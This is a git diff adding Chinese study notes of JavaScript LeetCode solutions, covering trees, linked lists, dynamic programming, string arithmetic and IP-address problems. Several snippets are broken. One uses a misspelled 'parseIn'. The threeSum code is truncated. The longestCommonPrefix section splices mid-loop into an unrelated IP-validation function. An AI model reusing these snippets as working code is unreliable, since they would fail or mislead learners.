和 q.val 都比 root.val 小,则p、q肯定在 root 的左子树。 +- 那问题规模就变小了,递归左子树就行! +- 如果 p.val 和 q.val 都比 root.val 大,递归右子树就行! +- 其他情况,root 即为所求! + +````js +const lowestCommonAncestor = (root, p, q) => { + if (p.val < root.val && q.val < root.val) { + return lowestCommonAncestor(root.left, p, q); + } + if (p.val > root.val && q.val > root.val) { + return lowestCommonAncestor(root.right, p, q); + } + return root; +}; +```` + +#### [258. 各位相加](https://leetcode-cn.com/problems/add-digits/) + +```js +var addDigits = function (num) { + const nums = num.toString().split(''); + if (nums.length === 1) return parseInt(nums.join('')); + num = nums.reduce((a, b) => { + return a + parseInt(b) + }, 0) + return addDigits(num); +}; +``` + +#### [405. 数字转换为十六进制数](https://leetcode-cn.com/problems/convert-a-number-to-hexadecimal/) + +```js +/** + * @param {number} num + * @return {string} + */ +var toHex = function (num) { + if (num >= 0) return num.toString(16) + let fill = 2**32; + return (fill+num).toString(16) +}; +``` + +#### [997. 找到小镇的法官](https://leetcode-cn.com/problems/find-the-town-judge/) + +计算出度,入度,法官入度n-1,出度0 + +```js +var findJudge = function(n, trust) { + const inDegrees = new Array(n + 1).fill(0); + const outDegrees = new Array(n + 1).fill(0); + for (const edge of trust) { + const x = edge[0], y = edge[1]; + ++inDegrees[y]; + ++outDegrees[x]; + } + for (let i = 1; i <= n; ++i) { + if (inDegrees[i] === n - 1 && outDegrees[i] === 0) { + return i; + } + } + return -1; +}; +``` + +#### [566. 重塑矩阵](https://leetcode-cn.com/problems/reshape-the-matrix/) + +![image-20220414144744678](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204141447850.png) + +```js +/** + * @param {number[][]} mat + * @param {number} r + * @param {number} c + * @return {number[][]} + */ +var matrixReshape = function(nums, r, c) { + const m = nums.length; + const n = nums[0].length; + if (m * n != r * c) { + return nums; + } + + const ans = new Array(r).fill(0).map(() => new Array(c).fill(0)); + for (let x = 0; x < m * n; ++x) { + ans[Math.floor(x / c)][x % c] = nums[Math.floor(x / n)][x % n]; // 新旧映射关系 + } + return ans; +}; +``` + + + + + +**方法一:模拟** + +```js +var luckyNumbers = function(matrix) { + const m = matrix.length, n = matrix[0].length; + const ret = []; + for (let i = 0; i < m; i++) { + for (let j = 0; j < n; j++) { + let isMin = true, isMax = true; + for (let k = 0; k < n; k++) { + if (matrix[i][k] < matrix[i][j]) { + isMin = false; + break; + } + } + if (!isMin) { + continue; + } + for (let k = 0; k < m; k++) { + if (matrix[k][j] > matrix[i][j]) { + isMax = false; + break; + } + } + if (isMax) { + ret.push(matrix[i][j]); + } + } + } + return ret; +}; +``` + +**方法二:预处理 + 模拟** + +思路与算法 + +![image-20220414161719559](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204141617622.png) + +```js +var luckyNumbers = function(matrix) { + const m = matrix.length, n = matrix[0].length; + const minRow = new Array(m).fill(Number.MAX_SAFE_INTEGER); + const maxCol = new Array(n).fill(0); + for (let i = 0; i < m; i++) { + for (let j = 0; j < n; j++) { + minRow[i] = Math.min(minRow[i], matrix[i][j]); + maxCol[j] = Math.max(maxCol[j], matrix[i][j]); + } + } + const ret = []; + for (let i = 0; i < m; i++) { + for (let j = 0; j < n; j++) { + if (matrix[i][j] === minRow[i] && matrix[i][j] === maxCol[j]) { + ret.push(matrix[i][j]); + } + } + } + return ret; +}; +``` + +#### [50. Pow(x, n)](https://leetcode-cn.com/problems/powx-n/) + +```js +/** + * @param {number} x + * @param {number} n + * @return {number} + */ +var myPow = function(x, n) { + return x**n; +}; + +var myPow = function (x, n) { + if (n === 0) return 1 // n=0直接返回1 + if (n < 0) { //n<0时 x的n次方等于1除以x的-n次方分 + return 1 / myPow(x, -n) + } + if (n % 2) { //n是奇数时 x的n次方 = x*x的n-1次方 + return x * myPow(x, n - 1) + } + return myPow(x * x, n / 2) //n是偶数,使用分治,一分为二,等于x*x的n/2次方 +} +``` + +#### [11. 盛最多水的容器](https://leetcode-cn.com/problems/container-with-most-water/) + +```js +/** + * @param {number[]} height + * @return {number} + */ +var maxArea = function(height) { + let left = 0, right = height.length - 1, max = 0; + while(left < right) { + // 先 底乘高 ,底是两指针距离,高是两指针指向的数值小的那个,不然会水溢出 + max = Math.max(max, (right - left) * Math.min(height[left], height[right])); + // 如果左指针指向的高度,小于等于 右指针,那就该它移 + if(height[left] <= height[right]) { + left++; + } else { + right--; + } + } + + return max; +}; +``` + diff --git "a/src/\345\210\267\351\242\230/Leetcode/codeTop/\345\255\227\350\212\202\350\267\263\345\212\250CodeTop\357\274\210\344\270\200\357\274\211.md" "b/src/\345\210\267\351\242\230/Leetcode/codeTop/\345\255\227\350\212\202\350\267\263\345\212\250CodeTop\357\274\210\344\270\200\357\274\211.md" new file mode 100644 index 00000000..95273826 --- /dev/null +++ "b/src/\345\210\267\351\242\230/Leetcode/codeTop/\345\255\227\350\212\202\350\267\263\345\212\250CodeTop\357\274\210\344\270\200\357\274\211.md" @@ -0,0 +1,1426 @@ +--- +date: 2022-03-22 +--- + +# 字节跳动CodeTop(一) +## [400. 第 N 位数字](https://leetcode-cn.com/problems/nth-digit/) + +**解题思路** +首先我们很容易明白如下规律: + +``` +1位数 9个 ===> 1 * 9 + +2位数 90个 ===> 2 * 90 + +3位数 900个 ===> 3 * 900 + +... +``` + +```js +/** + * @param {number} n + * @return {number} + */ +var findNthDigit = function(n) { + let cur = 1, base = 9; + while(n > cur * base){ + n -= cur * base; + cur++; + base*=10; + if(Number.MAX_SAFE_INTEGER / base < cur){ + break; + } + } + n--; + const num = Math.pow(10,cur - 1) + Math.floor(n / cur), idx = n % cur; + return Math.floor(num / Math.pow(10,cur - 1 - idx)) % 10; +}; +``` + +## [165. 比较版本号](https://leetcode-cn.com/problems/compare-version-numbers/) + +> 未标识位,如2.2和2,多出的位数比较视作为0 + +```js +/** + * @param {string} version1 + * @param {string} version2 + * @return {number} + */ +var compareVersion = function(version1, version2) { + const v1 = version1.split('.'); + const v2 = version2.split('.'); + for (let i = 0; i < v1.length || i < v2.length; ++i) { + let x = 0, y = 0; // 多出的位数比较视作为0 + if (i < v1.length) { + x = parseInt(v1[i]); + } + if (i < v2.length) { + y = parseInt(v2[i]); + } + if (x > y) { + return 1; + } + if (x < y) { + return -1; + } + } + return 0; +}; +``` + +## [415. 字符串相加](https://leetcode-cn.com/problems/add-strings/) + +> 会溢出 ,去看一下字符串相乘 + +```js +/** + * @param {string} num1 + * @param {string} num2 + * @return {string} + */ +var addStrings = function(num1, num2) { + return (parseIn(num1)+parseInt(num2)).toString() +}; +``` + +> 不会溢出 + +```js +/** + * @param {string} num1 + * @param {string} num2 + * @description 逐个相加 + * @return {string} + */ +var addStrings = function(num1, num2) { + let i = num1.length - 1, j = num2.length - 1, add = 0; + const ans = []; + while (i >= 0 || j >= 0 || add != 0) { + const x = i >= 0 ? num1.charAt(i) - '0' : 0; + const y = j >= 0 ? num2.charAt(j) - '0' : 0; + const result = x + y + add; + ans.push(result % 10); + add = Math.floor(result / 10); + i -= 1; + j -= 1; + } + return ans.reverse().join(''); +}; +``` + +## [43. 字符串相乘](https://leetcode-cn.com/problems/multiply-strings/) + +> 通过模仿笔算的步骤实现 + +```js +/** + * @param {string} num1 + * @param {string} num2 + * @return {string} + */ +var multiply = function (num1, num2) { + let m = num1.length, + n = num2.length; + // 结果最多为m+n位 + let res = new Array(m + n).fill(0); + // 从个位数开始逐位相乘 + for (let i = m - 1; i >= 0; i--) { + for (let j = n - 1; j >= 0; j--) { + let mul = (num1[i] - 0) * (num2[j] - 0); + // 乘积在res对应的索引位置 + let p1 = i + j, + p2 = i + j + 1; + // 叠加到res上 + let sum = mul + res[p2]; + res[p2] = sum % 10; + res[p1] += parseInt(sum / 10); + } + } + // 结果前缀可能存在0(未使用的位) + let i = 0; + while (i < res.length && res[i] == 0) { + i++; + } + // 将计算结果转化成字符串 + let str = ""; + for (; i < res.length; i++) { + str += res[i]; + } + return str.length == 0 ? "0" : str; +}; +``` + + + +## [1. 两数之和](https://leetcode-cn.com/problems/two-sum/) + +> map记录差值 + +```js +/** + * @param {number[]} nums + * @param {number} target + * @return {number[]} + */ +var twoSum = function(nums, target) { + let map = new Map(); + for(let i = 0, len = nums.length; i < len; i++){ + if(map.has(target - nums[i])){ + return [map.get(target - nums[i]), i]; + }else{ + map.set(nums[i], i); + } + } + return []; +}; +``` + +## [70. 爬楼梯](https://leetcode-cn.com/problems/climbing-stairs/) + +> 聊天的时候得知常考 + +递归超时了~ + +```js +/** + * @param {number} n + * @return {number} + */ +var climbStairs = function (n) { + if (n === 1) { + return 1 + } + if (n === 2) { + return 2 + } + return climbStairs(n - 1) + climbStairs(n - 2) +}; + +``` + +迭代算法 + +```js +/** + * @param {number} n + * @return {number} + */ +var climbStairs = function (n) { + let l = 0, r = 0, res = 1; // 看成左中右也行,用于暂存数据 + for (let i = 1; i <= n; i++) { + l = r // 逐个右移操作 + r = res + res = l + r + } + return res +}; +``` + +## [5. 最长回文子串](https://leetcode-cn.com/problems/longest-palindromic-substring/) + +> 中心扩散方法,区分偶数与奇数长度回文串 + +```js +var longestPalindrome = function (s) { + let res = "" + for (let i = 0; i < s.length; i++) { + // 处理奇数回文串 + const s1 = palindrome(s, i, i) + // 处理偶数回文串 + const s2 = palindrome(s, i, i + 1) + res = res.length <= s1.length ? s1 : res + res = res.length <= s2.length ? s2 : res + } + return res +}; + +// 返回以l,r为中心点扩散的最长回文串 +function palindrome(s, l, r) { + while (l >= 0 && r < s.length && s[l] === s[r]) { + l-- + r++ + } + return s.slice(l + 1, r) +} +``` + +## [200. 岛屿数量](https://leetcode-cn.com/problems/number-of-islands/) + +```js +/** + * Created by Yihui_Shi on 2022/2/25 13:07 + */ +/** + * @param {character[][]} grid + * @return {number} + */ +var numIslands = function (grid) { + let rows = grid.length, + cols = grid[0].length; + // 方向数组 + let directions = [ + [0, 1], + [0, -1], + [-1, 0], + [1, 0], + ]; + // 深度优先搜索 + const dfs = (i, j) => { + // 超出边界 或者本身就已经是海水了 + if (i < 0 || j < 0 || i >= rows || j >= cols || grid[i][j] == 0) return; + // 淹没它 避免重复访问 + grid[i][j] = 0; + for (let dir of directions) { + dfs(dir[0] + i, dir[1] + j); + } + }; + let count = 0; + for (let i = 0; i < rows; i++) { + for (let j = 0; j < cols; j++) { + if (grid[i][j] == 1) { + count++; + // 淹没整个岛屿 + dfs(i, j); + } + } + } + return count; +}; +``` + +## [695. 岛屿的最大面积](https://leetcode-cn.com/problems/max-area-of-island/) + +> 方法1.dfs +> 思路:深度优先,先循环网格, 当grid[x][y] === 1时,将当前单元格置为0并上下左右不断递归,计算每个岛屿的大小,然后不断更新最大岛屿 +> 复杂度:时间复杂度O(mn),m、n分别是网格的长和宽。空间复杂度O(mn),递归最大深度 + +```js +var maxAreaOfIsland = function(grid) { + let row = grid.length, col = grid[0].length; + function dfs (x, y) { + //越界判断 当grid[x][y] === 0时 直接返回 + if (x < 0 || x >= row || y < 0 || y >= col || grid[x][y] === 0) return 0; + grid[x][y] = 0;//当grid[x][y] === 1时,将当前单元格置为0 + let ans = 1, dx = [-1, 1, 0, 0], dy = [0, 0, 1, -1];//方向数组 + for (let i = 0; i < dx.length; i++) {//上下左右不断递归,计算每个岛屿的大小 + ans += dfs(x + dx[i], y + dy[i]); + } + return ans; + } + let res = 0; + for (let i = 0; i < row; i++) { + for (let j = 0; j < col; j++) { + res = Math.max(res, dfs(i, j));//循环网格 更新最大岛屿 + } + } + return res; +}; +``` + +> 方法2.bfs +> 思路:广度优先,循环网格,不断将当前网格的坐标加入队列,如果当前网格对应的值是1,则置为0,然后向四周扩散,找到下一层的网格坐标,加入队列,直到队列为空 +> 复杂度:时间复杂度O(mn),m、n分别是网格的长和宽。空间复杂度O(mn),queue的大小 +> + +```js +var maxAreaOfIsland = function(grid) { + let ans = 0, row = grid.length, col = grid[0].length; + let dx = [1, -1, 0, 0], dy = [0, 0, 1, -1];//方向数组 + for (let i = 0; i < row; i++) { + for (let j = 0; j < col; j++) { + if (grid[i][j] === 0) continue;//循环网格,遇到0就跳过 + let queue = [[i, j]], curr = 0;//在队列中加入当前网格的值 + while (queue.length > 0) { + let [x, y] = queue.shift();//不断出队 + // 越界判断 + if (x < 0 || x >= row || y < 0 || y >= col || grid[x][y] === 0) continue; + ++curr;//更新岛屿的数量 + grid[x][y] = 0;//遍历过的网格置为0 + for (let k = 0; k < dx.length; k++) {//上下左右遍历,把下一层的节点加入队列 + queue.push([x + dx[k], y + dy[k]]); + } + } + ans = Math.max(ans, curr);//更新最大岛屿面积 + } + } + return ans; +}; +``` + +## [141. 环形链表](https://leetcode-cn.com/problems/linked-list-cycle/) + +> 标记 + +```js +/** + * Definition for singly-linked list. + * function ListNode(val) { + * this.val = val; + * this.next = null; + * } + */ + +/** + * @param {ListNode} head + * @return {boolean} + */ +const hasCycle = function(head) { + while (head) { + if (head.tag) { + return true; + } + head.tag = true; + head = head.next; + } + return false; +}; +``` + +> json歪门邪道 + +```js +/** + * @param {ListNode} head + * @return {boolean} + */ +var hasCycle = function (head) { + try { + JSON.stringify(head) + } catch{ + return true + } + return false +}; +``` + +## [15. 三数之和](https://leetcode-cn.com/problems/3sum/) + +```js +/** + * @param {number[]} nums + * @return {number[][]} + */ +var threeSum = function(nums) { + // 最左侧值为定值,右侧所有值进行两边推进计算 + let res = []; + nums.sort((a, b) => a - b); + let size = nums.length; + if (nums[0] <= 0 && nums[size - 1] >= 0) { + // 保证有正数负数 + let i = 0; + while (i < size - 2) { + if (nums[i] > 0) break; // 最左侧大于0,无解 + let first = i + 1; + let last = size - 1; + while (first < last) { + if (nums[i] * nums[last] > 0) break; // 三数同符号,无解 + let sum = nums[i] + nums[first] + nums[last]; + if (sum === 0) { + res.push([nums[i], nums[first], nums[last]]); + } + if (sum <= 0) { + // 负数过小,first右移 + while (nums[first] === nums[++first]) {} // 重复值跳过 + } else { + while (nums[last] === nums[--last]) {} // 重复值跳过 + } + } + while (nums[i] === nums[++i]) {} + } +``` + +## [155. 最小栈](https://leetcode-cn.com/problems/min-stack/) + +> 双栈,维护一个最小值栈 + +```js +var MinStack = function() { + this.x_stack = []; + this.min_stack = [Infinity]; +}; + +MinStack.prototype.push = function(x) { + this.x_stack.push(x); + this.min_stack.push(Math.min(this.min_stack[this.min_stack.length - 1], x)); +}; + +MinStack.prototype.pop = function() { + this.x_stack.pop(); + this.min_stack.pop(); +}; + +MinStack.prototype.top = function() { + return this.x_stack[this.x_stack.length - 1]; +}; + +MinStack.prototype.getMin = function() { + return this.min_stack[this.min_stack.length - 1]; +}; +``` + +## [209. 长度最小的子数组](https://leetcode-cn.com/problems/minimum-size-subarray-sum/) + +> 滑动窗口 + +```js +/** + * @param {number} target + * @param {number[]} nums + * @return {number} + */ + +var minSubArrayLen = function(target, nums) { + // 长度计算一次 + const len = nums.length; + let l = r = sum = 0, + res = len + 1; // 子数组最大不会超过自身 + while(r < len) { + sum += nums[r++]; + // 窗口滑动 + while(sum >= target) { + // r始终为开区间 [l, r) + res = res < r - l ? res : r - l; + sum-=nums[l++]; + } + } + return res > len ? 0 : res; +}; +``` + +## [230. 二叉搜索树中第K小的元素](https://leetcode-cn.com/problems/kth-smallest-element-in-a-bst/) + +> 中序遍历(先找到最小元素并逐个遍历k次) + +```js +var kthSmallest = function(root, k) { + const stack = []; + while (root != null || stack.length) { + while (root != null) { + stack.push(root); + root = root.left; + } + root = stack.pop(); + --k; + if (k === 0) { + break; + } + root = root.right; + } + return root.val; +}; +``` + +## [226. 翻转二叉树](https://leetcode-cn.com/problems/invert-binary-tree/) + +```js +/** + * @param {TreeNode} root + * @return {TreeNode} + */ +var invertTree = function(root) { + if (root === null) { + return null; + } + const left = invertTree(root.left); + const right = invertTree(root.right); + root.left = right; + root.right = left; + return root; +}; +``` + +```js +const invertTree = (root) => { + if (root == null) { // 遍历到null节点时,不用翻转,直接返回它本身 + return root; + } + invertTree(root.left); + invertTree(root.right); + + const temp = root.left; + root.left = root.right; + root.right = temp; + + return root; +}; +``` + +## [21. 合并两个有序链表](https://leetcode-cn.com/problems/merge-two-sorted-lists/) + +> 递归 +> +> 也就是说,两个链表头部值较小的一个节点与剩下元素的 `merge` 操作结果合并。 + +```js +var mergeTwoLists = function(l1, l2) { + if (l1 === null) { + return l2; + } else if (l2 === null) { + return l1; + } else if (l1.val < l2.val) { + l1.next = mergeTwoLists(l1.next, l2); + return l1; + } else { + l2.next = mergeTwoLists(l1, l2.next); + return l2; + } +}; +``` + + + +> 迭代 +> +> 更像是模仿过程,更适合理解 + +```js +var mergeTwoLists = function(l1, l2) { + const prehead = new ListNode(-1); + + let prev = prehead; + while (l1 != null && l2 != null) { + if (l1.val <= l2.val) { + prev.next = l1; + l1 = l1.next; + } else { + prev.next = l2; + l2 = l2.next; + } + prev = prev.next; + } + + // 合并后 l1 和 l2 最多只有一个还未被合并完,我们直接将链表末尾指向未合并完的链表即可 + prev.next = l1 === null ? l2 : l1; + + return prehead.next; +}; +``` + +## [94. 二叉树的中序遍历](https://leetcode-cn.com/problems/binary-tree-inorder-traversal/) + +> 手写一个递归 + +```js +/** + * @param {TreeNode} root + * @return {number[]} + */ +var inorderTraversal = function(root) { + const res = []; + const tracersal = (root) =>{ + if(root==null){ + return res; + } + tracersal(root.left); + res.push(root.val); + tracersal(root.right); + } + tracersal(root) + return res; +}; +``` + +> 不要忘记迭代 + +```js +var inorderTraversal = function(root) { + const res = []; + const stk = []; + while (root || stk.length) { + while (root) { + stk.push(root); + root = root.left; + } + root = stk.pop(); + res.push(root.val); + root = root.right; + } + return res; +}; +``` + +## [429. N 叉树的层序遍历](https://leetcode-cn.com/problems/n-ary-tree-level-order-traversal/) + +> 并不像二叉树层序那么简单 + +```js +/** + * @param {Node|null} root + * @return {number[][]} + */ +var levelOrder = function (root) { + let res = []; + if (root == null) return res; + let queue = [root]; + while (queue.length) { + let size = queue.length; + let level = []; + while (size--) { + let cur = queue.shift(); + level.push(cur.val); + for (let node of cur.children) { // 你不说谁知道这个是啥可迭代对象 + if (node) queue.push(node); + } + } + res.push(level); + } + return res; +}; +``` + +## [718. 最长重复子数组](https://leetcode-cn.com/problems/maximum-length-of-repeated-subarray/) + +二维dp去做,有点难理解 + +## [93. 复原 IP 地址](https://leetcode-cn.com/problems/restore-ip-addresses/) + +> ``` +> 输入:s = "25525511135" +> 输出:["255.255.11.135","255.255.111.35"] +> ``` + +```js +/** + * @param {string} s + * @return {string[]} + */ +var restoreIpAddresses = function(s) { + const SEG_COUNT = 4; + const segments = new Array(SEG_COUNT); + const ans = []; + + const dfs = (s, segId, segStart) => { + // 如果找到了 4 段 IP 地址并且遍历完了字符串,那么就是一种答案 + if (segId === SEG_COUNT) { + if (segStart === s.length) { + ans.push(segments.join('.')); + } + return; + } + + // 如果还没有找到 4 段 IP 地址就已经遍历完了字符串,那么提前回溯 + if (segStart === s.length) { + return; + } + + // 由于不能有前导零,如果当前数字为 0,那么这一段 IP 地址只能为 0 + if (s.charAt(segStart) === '0') { + segments[segId] = 0; + dfs(s, segId + 1, segStart + 1); + } + + // 一般情况,枚举每一种可能性并递归 + let addr = 0; + for (let segEnd = segStart; segEnd < s.length; ++segEnd) { + addr = addr * 10 + (s.charAt(segEnd) - '0'); + if (addr > 0 && addr <= 0xFF) { + segments[segId] = addr; + dfs(s, segId + 1, segEnd + 1); + } else { + break; + } + } + } + + dfs(s, 0, 0); + return ans; +}; +``` + +## [912. 排序数组](https://leetcode-cn.com/problems/sort-an-array/) + +```js +/** + * @param {number[]} nums + * @return {number[]} + */ +var sortArray = function(nums) { + return nums.sort((a,b)=> a - b) +}; +``` + +## [104. 二叉树的最大深度](https://leetcode-cn.com/problems/maximum-depth-of-binary-tree/) + +```js +/** + * Definition for a binary tree node. + * function TreeNode(val, left, right) { + * this.val = (val===undefined ? 0 : val) + * this.left = (left===undefined ? null : left) + * this.right = (right===undefined ? null : right) + * } + */ +var maxDepth = function (root) { + if (!root) return 0; + return 1 + Math.max(maxDepth(root.left), maxDepth(root.right)); +}; +``` + +## [113. 路径总和 II](https://leetcode-cn.com/problems/path-sum-ii/) + +> 同时维护res 答案数组和path路径数组(用于回溯) + +```js +/** + * @param {TreeNode} root + * @param {number} targetSum + * @return {number[][]} + */ +const pathSum = function (root, targetSum) { + // 递归法 + // 要遍历整个树找到所有路径,所以递归函数不需要返回值, 与112不同 + const res = []; + const travelsal = (node, cnt, path) => { + // 遇到了叶子节点且找到了和为sum的路径 + if (cnt === 0 && !node.left && !node.right) { + res.push([...path]); // 不能写res.push(path), 要深拷贝 + return; + } + if (!node.left && !node.right) return; // 遇到叶子节点而没有找到合适的边,直接返回 + // 左 (空节点不遍历) + if (node.left) { + path.push(node.left.val); + travelsal(node.left, cnt - node.left.val, path); // 递归 + path.pop(); // 回溯 + } + // 右 (空节点不遍历) + if (node.right) { + path.push(node.right.val); + travelsal(node.right, cnt - node.right.val, path); // 递归 + path.pop(); // 回溯 + } + }; + if (!root) return res; + travelsal(root, targetSum - root.val, [root.val]); // 把根节点放进路径 + return res; +}; +``` + +## [322. 零钱兑换](https://leetcode-cn.com/problems/coin-change/) + +> 贪心不一定是对的 + +```js +/** + * @param {number[]} coins + * @param {number} amount + * @return {number} + */ +var coinChange = function(coins, amount) { + const dp = new Array(amount+1).fill(Number.MAX_SAFE_INTEGER); + dp[0] = 0; + for(let num of coins) { + for(let i=num; i<=amount; i++) { + dp[i] = Math.min(dp[i],dp[i-num]+1); // 记录之前的最小配比 + } + } + return dp[amount] === Number.MAX_SAFE_INTEGER ? -1 : dp[amount]; +}; +``` + +## [剑指 Offer 09. 用两个栈实现队列](https://leetcode-cn.com/problems/yong-liang-ge-zhan-shi-xian-dui-lie-lcof/) + +> 将一个栈当作输入栈,用于压入 appendTail 传入的数据;另一个栈当作输出栈,用于 deleteHead 操作。 +> +> deleteHead 时,若输出栈为空则将输入栈的全部数据依次弹出并压入输出栈,这样输出栈从栈顶往栈底的顺序就是队列从队首往队尾的顺序。 +> + +```js +var CQueue = function() { + this.stackA = []; + this.stackB = []; +}; + +/** + * @param {number} value + * @return {void} + */ +CQueue.prototype.appendTail = function(value) { + this.stackA.push(value); +}; + +/** + * @return {number} + */ +CQueue.prototype.deleteHead = function() { + if(this.stackB.length){ + return this.stackB.pop(); + }else{ + while(this.stackA.length){ + this.stackB.push(this.stackA.pop()); + } + if(!this.stackB.length){ + return -1; + }else{ + return this.stackB.pop(); + } + } +}; + +/** + * Your CQueue object will be instantiated and called as such: + * var obj = new CQueue() + * obj.appendTail(value) + * var param_2 = obj.deleteHead() + */ +``` + +## [160. 相交链表](https://leetcode-cn.com/problems/intersection-of-two-linked-lists/) + +> 一边一直访问,并存入set + +```js +var getIntersectionNode = function(headA, headB) { + const visited = new Set(); + let temp = headA; + while (temp !== null) { + visited.add(temp); + temp = temp.next; + } + temp = headB; + while (temp !== null) { + if (visited.has(temp)) { + return temp; + } + temp = temp.next; + } + return null; +}; +``` + +## [62. 不同路径](https://leetcode-cn.com/problems/unique-paths/) + +> 寻路问题 +> +> 动态规划 *f*(*i*,*j*)=*f*(*i*−1,*j*)+*f*(*i*,*j*−1) + +```js +/** + * @param {number} m + * @param {number} n + * @return {number} + */ +var uniquePaths = function(m, n) { + const f = new Array(m).fill(0).map(() => new Array(n).fill(0)); + for (let i = 0; i < m; i++) { + f[i][0] = 1; // 边界为1 + } + for (let j = 0; j < n; j++) { + f[0][j] = 1; // 边界为1 + } + for (let i = 1; i < m; i++) { + for (let j = 1; j < n; j++) { + f[i][j] = f[i - 1][j] + f[i][j - 1]; + } + } + return f[m - 1][n - 1]; +}; +``` + +## [101. 对称二叉树](https://leetcode-cn.com/problems/symmetric-tree/) + +> 递归对比左右子树,终止为左右子树均null + +```js +const isSymmetric = function(root) { + if(!root) return true; + const isMirror = (l, r) => { + if(!l && !r) return true + return !!(l && r && l.val === r.val && + isMirror(l.left, r.right) && + isMirror(l.right, r.left)); + } + + return isMirror(root.left, root.right); +}; +``` + +## [14. 最长公共前缀](https://leetcode-cn.com/problems/longest-common-prefix/) + +> 取第一个字符串为默认ans(本就最长不超过此),后遍历 + +image-20220328124018508 + +```js +/** + * @param {string[]} strs + * @return {string} + */ +var longestCommonPrefix = function(strs) { + if(strs.length == 0) + return ""; + let ans = strs[0]; + for(let i =1;i (part.match(/^0$|^([1-9]\d{0,2})$/) && part < 256) )) { + return "IPv4"; + } + } else if (arr6.length === 8) { + if (arr6.every(part => part.match(/^[0-9a-fA-F]{1,4}$/))) { + return "IPv6"; + } + } + return "Neither"; +}; +``` + +## [105. 从前序与中序遍历序列构造二叉树](https://leetcode-cn.com/problems/construct-binary-tree-from-preorder-and-inorder-traversal/) + +> 查找分割点(子树的根节点) + +```js +var buildTree = function(preorder, inorder) { + if(!preorder.length) + return null; + let root = new TreeNode(preorder[0]); + let mid = inorder.findIndex((number) => number === root.val);// 分割点的关键 + root.left = buildTree(preorder.slice(1, mid + 1), inorder.slice(0, mid)); + root.right = buildTree(preorder.slice(mid + 1, preorder.length), inorder.slice(mid + 1, inorder.length)); + return root; +}; +``` + + + +> 中后序 + +```js +var buildTree = function(inorder, postorder) { + if (!postorder.length) return null + + let root = new TreeNode(postorder[postorder.length - 1]) + + let index = inorder.findIndex(number => number === root.val)// 分割点的关键 + + root.left = buildTree(inorder.slice(0, index), postorder.slice(0, index)) + root.right = buildTree(inorder.slice(index + 1, inorder.length), postorder.slice(index, postorder.length - 1)) + + return root +}; +``` + +## [199. 二叉树的右视图](https://leetcode-cn.com/problems/binary-tree-right-side-view/) + +> 看图我们发现, 右视图的节点都是**每一层的最后一个节点**, 所以采用**层序遍历**最为方便 + +```js +var rightSideView = function(root) { + //二叉树右视图 只需要把每一层最后一个节点存储到res数组 + let res=[],queue=[]; + queue.push(root); + while(queue.length&&root!==null){ + // 记录当前层级节点个数 + let length=queue.length; + while(length--){ + let node=queue.shift(); + //length长度为0的时候表明到了层级最后一个节点 + if(!length){ + res.push(node.val); + } + node.left&&queue.push(node.left); // 同时成立,执行并返回第二个 + node.right&&queue.push(node.right); + } + } + return res; +}; +``` + +## [394. 字符串解码](https://leetcode-cn.com/problems/decode-string/) + +> 有效括号 pluse 栈操作 + +双栈操作 + +![image-20220328161937446](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/image-20220328161937446.png) + +```js +const decodeString = (s) => { + let numStack = []; // 存倍数的栈 + let strStack = []; // 存 待拼接的str 的栈 + let num = 0; // 倍数的“搬运工” + let result = ''; // 字符串的“搬运工” + + for (const char of s) { // 逐字符扫描 + if (!isNaN(char)) { // 遇到数字 + num = num * 10 + Number(char); // 算出倍数 + } else if (char == '[') { // 遇到 [ + strStack.push(result); // result串入栈 + result = ''; // 入栈后清零 + numStack.push(num); // 倍数num进入栈等待(是算好的,比如32) + num = 0; // 入栈后清零 + } else if (char == ']') { // 遇到 ],两个栈的栈顶出栈 + let repeatTimes = numStack.pop(); // 获取拷贝次数 + result = strStack.pop() + result.repeat(repeatTimes); // 构建子串 + } else { + result += char; // 遇到字母,追加给result串 + } + } + return result; +}; +``` + +## [剑指 Offer 62. 圆圈中最后剩下的数字](https://leetcode-cn.com/problems/yuan-quan-zhong-zui-hou-sheng-xia-de-shu-zi-lcof/) + +> 迭代更合适 + +```js +var lastRemaining = function (n, m) { + let res = 0; + for (let i = 2; i <= n; i++) { + res = (m + res) % i; // 除以循环被削减的个数 + } + return res; +}; +``` + +> 递归 + +```js +var lastRemaining = function (n, m) { + const f = (n, m) => { + if (n === 1) { + return 0 + } + let x = f(n - 1, m) + return (m + x) % n + } + return f(n, m) +}; +``` + +## [103. 二叉树的锯齿形层序遍历](https://leetcode-cn.com/problems/binary-tree-zigzag-level-order-traversal/) + +> 程序遍历变种,微调即可 + +```js +var zigzagLevelOrder = function(root) { + if (!root) { + return []; // 空值直接返回 + } + + const ans = []; + const nodeQueue = [root]; // 记录访问的node点 + + let isOrderLeft = true; // 顺序flag,从左开始 + + while (nodeQueue.length) { + let levelList = []; // 每层答案 + const size = nodeQueue.length; // 每层的节点个数,用于遍历计数 + for (let i = 0; i < size; ++i) { + const node = nodeQueue.shift(); + if (isOrderLeft) { // 在程序遍历基础上,按照不同方向注入每行队列即可 + levelList.push(node.val); + } else { + levelList.unshift(node.val); + } + if (node.left !== null) { + nodeQueue.push(node.left); + } + if (node.right !== null) { + nodeQueue.push(node.right); + } + } + ans.push(levelList); // push每层节点 + isOrderLeft = !isOrderLeft; // 反转 + } + + return ans; +}; +``` + +## [31. 下一个排列](https://leetcode-cn.com/problems/next-permutation/) + +> 思路 +> 如何变大:从低位挑一个大一点的数,交换前面一个小一点的数。 +> 变大的幅度要尽量小。 +> 像 [3,2,1] 这样递减的,没有下一个排列,已经稳定了,没法变大。 +> 像 [1,5,2,4,3,2] 这种,怎么稍微变大? +> +> - **从右往左,寻找第一个比右邻居小的数**,把它换到后面去 +> - “第一个”意味着尽量是低位,“比右邻居小”意味着它是从右往左的第一个波谷 +> 比如,1 5 (2) 4 3 2,中间这个 2。 +> +> - **接着还是从右往左,寻找第一个比这个 2 大的数**。15 (2) 4 (3) 2,交换后:15 (3) 4 (2) 2。 +> +> - 还没结束!变大的幅度可以再小一点,仟位微变大了,后三位可以再小一点。 +> +> - **后三位肯定是递减的,翻转**,变成[1,5,3,2,2,4],即为所求。 + +```js +function nextPermutation(nums) { + let i = nums.length - 2; // 向左遍历,i从倒数第二开始是为了nums[i+1]要存在 + while (i >= 0 && nums[i] >= nums[i + 1]) { // 寻找第一个小于右邻居的数 + i--; + } + if (i >= 0) { // 这个数在数组中存在,从它身后挑一个数,和它换 + let j = nums.length - 1; // 